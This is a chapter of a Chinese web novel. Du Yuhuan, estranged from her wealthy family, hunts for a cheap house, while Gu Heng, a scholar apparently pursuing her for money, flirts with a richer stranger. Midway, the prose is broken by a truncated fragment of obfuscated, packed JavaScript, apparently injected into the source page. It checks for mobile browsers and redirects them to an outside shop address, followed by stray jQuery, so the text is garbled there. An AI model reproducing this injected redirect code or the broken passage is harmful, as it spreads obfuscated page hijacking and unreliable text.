都玉环从都府离开后便直奔牙行。
她既不回去,整日住客栈就有些贵了,不如租间小一些的房子,余出的钱还可以买米面肉菜,自己做一日三餐。
别看她是富贵人家的女儿,但也不是只会琴棋书画,普通的家常菜和点心她都学过,解决自己的温饱并不难,难的是找到一个合适又便宜的房子。
牙行的许掌柜干这一行有二十余年,城中大半的宅子都经过他的手。他见多识广,一见到客人便能猜出对方的预算,每次都八九不离十。
都玉环身上的衣裳还是昨日从都府跑出来的那套品蓝喜鹊绣样的齐腰襦裙,精细的刺绣都聚在袖口和裙头,衣服和裙子的布料则有着不易察觉的祥云暗纹。
这样的布料和绣工一看便知价值不菲,故而许掌柜拿出来的都是些上等宅子的户型图。都玉环看着那些宅子布局,不乏有满意的。但心知自己如今手中拮据,定然是住不起的,便提出自己是一个人住,这些宅子都太大了。
城东的宅子少有小的,即便有几间小的房屋,也都是临街用来做店铺的。
“符合姑娘要求的,城东怕是没有。城西倒是有很多,只是姑娘瞧着是富贵人家,住不惯。再就是还有两间城北的小宅,虽说是小宅,但对于姑娘一人来说,还是有些大了。”
都玉环近几月有女扮男装跟着谷衡等人在城中打击神棍,多是在城西。
她久居深闺时,只知城西比不得城东富庶,条件差,但从来没有过具体感受,只觉得城西热闹,有烟火气。
可有一次夜里行动时,她才知道她所喜欢的“烟火气”其实本质是因为城西的房屋密集。一条小巷不到六十丈,便住了三四家。街头的人在院子里叮叮当当,街尾的住户在屋里听的一清二楚。
六十丈在都府,连她的院门都没出。
可也正因如此,城西的房子也便宜。一间一月也就几百文,以她如今手中的银两,先付一个季度的房钱都绰绰有余。
只是那环境有些差,都玉环知道自己很难适应。
她搭在身边包袱上的手微微合拢,坚硬的触感隔着衣物传到指尖。
这是她方才离开都府不远时,追上来的小蕙偷偷用菜篮子给她带出来的。菜篮子不大,小蕙只能给她装两套衣裳,内里还塞了她的零用和首饰。
“我先看看城北的房子吧。”
谷衡赶到牙行时,牙行里有客人三人,掌柜正给其中一对夫妻挑选房屋,都玉环坐在里面的桌边眉头紧锁,手里正拿着一张纸。
谷衡悄声走到都玉环身后望向她手中,那是一张二进小院的户型图,按照当前市价,至少需要三百两白银。
都玉环叹口气,将那图放到一边,桌上错落的铺着四五张户型图,但都是些城西的房屋,与城北小院比简直是天壤之别。
谷衡又将目光落向桌上的包袱,那包袱不大,瞧着只有三四件衣裳。
“莫非是都员外给了银票?”小狐开口。
都玉环将桌上的房屋一一扫过,这么多个房子,价钱合适的她不满意,她满意的又太贵,着实难办。
若是谷衡在此便好了,她还能请他参谋参谋。
她想着便转头想去寻掌柜,余光里瞧见一抹发白的衣裳。一回头,便见心里念叨的人正在面前。
“谷郎?你怎么来了?”
他挂上适宜的笑,并将手中的书给都玉环看:“在对面书斋挑书,远远瞧着背影眼熟,没想到真是你。”
谷衡没想买书,书是他临出门时随手在桌上拿的。都玉环没去过几次县学,不知道他都有哪些书。
谷衡坐到都玉环身边,状似无意:“昨日不是说要回去给伯父道歉吗?”
都玉环刚刚才淡忘此事,此时却又被他提起,眼中的笑意顿时消散几分:“别提了,我大姐回家省亲,我爹直接让她把我关在门外,明摆着不想见我。”
都家姐妹二人之间的事情,谷衡听都玉环说过。
“可能是都伯父还生气,也许再过几日就好了。再有一月不足便是中秋,都大小姐肯定住不了几日。”谷衡的目光又落向包袱,“这是?”
“小蕙偷偷给我的。”
都玉环垂着眼睫看桌上的户型图,显然并不想谈论都家的事。
谷衡岔开话题:“你想租个房子?”
“对啊,住在客栈按日收费,太贵了。”都玉环又拿起那张二进小院,“谷郎你觉得这间怎么样?”
谷衡一来便瞧了这张,这会儿却又装出认真模样仔细看一遍:“我记得这间在城北偏东,恬静清幽、布局合理,是间好宅子。只是我记得城北二进的院子,不便宜。”
“你连这个都知道?”都玉环只知道谷衡是个秀才,平日在县学读书,和周文林交好。大部分书生对市价并不敏感,他们除了知道文房四宝的价格外,其他一概不知。
她没想到谷衡竟然对房屋价格了解一二,这倒是个惊喜。
谷衡笑得腼腆:“之前有邻居买新屋,我帮着看契,所以知道些。”
他住在城西,那边的人识字不多,遇到文书的东西都会找识字的人帮忙看一下。
“说到这个,我今日才知道买卖房屋要交契税,签契约还要交契纸钱,过户盖章还要朱墨头子钱,还有一些其他杂费。这样一间二进的小院,一套章程走下来,再加上搬进新屋要采买一些用具,少说也要三百五六十两。”
都玉环从谷衡手中抽回纸张:“即便是租,一月也要二两银子。我来的路上打听了菜价,三文钱能买一整捆我爱吃的竹笋,这么一比,这个小院简直就是在烧钱。”
谷衡没忍住皱了一下眉,又很快舒展开。
往日里他与都玉环会面,聊的都是风花雪月和诗词歌赋,即便是讨论民生多艰,都玉环也从未有过这副满嘴铜臭的模样。
他有些不喜。
“这二者没有可比性。不过满居里这么大,现在时间尚早,慢慢挑选,总会找到合适的。”
都玉环点头,恋恋不舍地将那间小院的户型图放下,转而在桌上再次挑选起来。
“谷郎,你说我若是挑个角落里的房屋,是不是会安静些?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17042891|194545||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>谷衡未答,都玉环转头看向他,见他似乎有心事。
他扯了扯嘴角:“月试和乡试在即,我心中有些不安。”
都玉环知道谷衡一直有这种临近考试就焦虑的毛病,往日里她都会陪他读书讨论,但今日不行。她今日若是挑不出房子,便要多交一日客栈的房钱。
她余钱不多,住不了几日。
都玉环有些歉疚:“对不起,我今日确实没时间。不若你先回县学温书,等我选完房子再去找你?”
谷衡轻叹一声:“现如今你我二人皆都白手起家,我定要更加努力的读书,早日考取功名好娶你过门。你且委屈些时日,到时即便都伯父不认你,我们自己也能过上好日子。”
一番话说得都玉环心中一暖,欣喜地目送谷衡离去。
谷衡出门一转,脸色便瞬间阴沉下来。
小狐妖坐在他的头上摇头晃脑:“自古人心难测,没想到这都员外竟然真的能狠下心。”
谷衡充耳不闻,只埋头抱着书走,脑子里都在想都玉环当真回不了都家的后路。
他贴着墙边走,转角时来不及停步,直直与迎面而来的粉裳女子相撞。
书籍、纸张、包袱掉了一地,就连小狐妖都掉到地上“哎哟哎哟”。
这一下撞得结实,谷衡的手臂只发疼。
对方率先反应过来,立刻蹲下将书籍与纸张归拢到一处。
掉在地上的粉紫包袱也松散开,衣裳首饰落了一地,金的银的和衣裳混在一起。还有一个巴掌大的小匣子落在一旁,并没有摔开。
谷衡心中一动,也立刻蹲下将那些东西捡起。小匣子沉甸甸的,首饰也坠手,可谷衡毫不犹豫地将东西装入包袱,端的一副“是金钱如粪土”的模样。
“姑娘你没事吧?”
谷衡抬起头,对面的粉色身影也应声回看。眉眼如画,温婉隽秀,薄薄的粉唇缓缓勾起,浅笑嫣然。
“无碍,怪我东张西望寻牙行,未曾看路。”
他心中一颤。
“与姑娘无关,是小生挂念乡试一时恍惚,这才冲撞到姑娘,还请见谅。”谷衡轻巧地将包袱打上结,粉裳姑娘也整理完书籍和纸张,双方同时立起。
谷衡将包袱递出:“你的包袱。”
粉裳姑娘的目光落在手中的纸张上,一时竟看出了神。谷衡瞥了一眼,是某次与都玉环会面时,自己从她那誊抄的一篇论。
“这是你写的?”
那篇文章向前递了递。
她有一双杏眼,惊喜地微睁时,薄唇也微微张开,整个人瞧着温和可爱。
不似都玉环,都玉环有一双标准的丹凤眼,笑起来的时候明媚开朗,像是夏季热烈开放的花。
小狐妖听到动静,立刻顺着谷衡的后身爬上肩头:“初次见面要留一个好印象,好好利用你这张脸!”
它这句话在谷衡耳边说过不下十次,谷衡自然知道自己什么模样是最让女子觉得亲近的。
他抿着唇勾起,眼睑垂下,露出几分少年人的羞涩来。
“是我的。”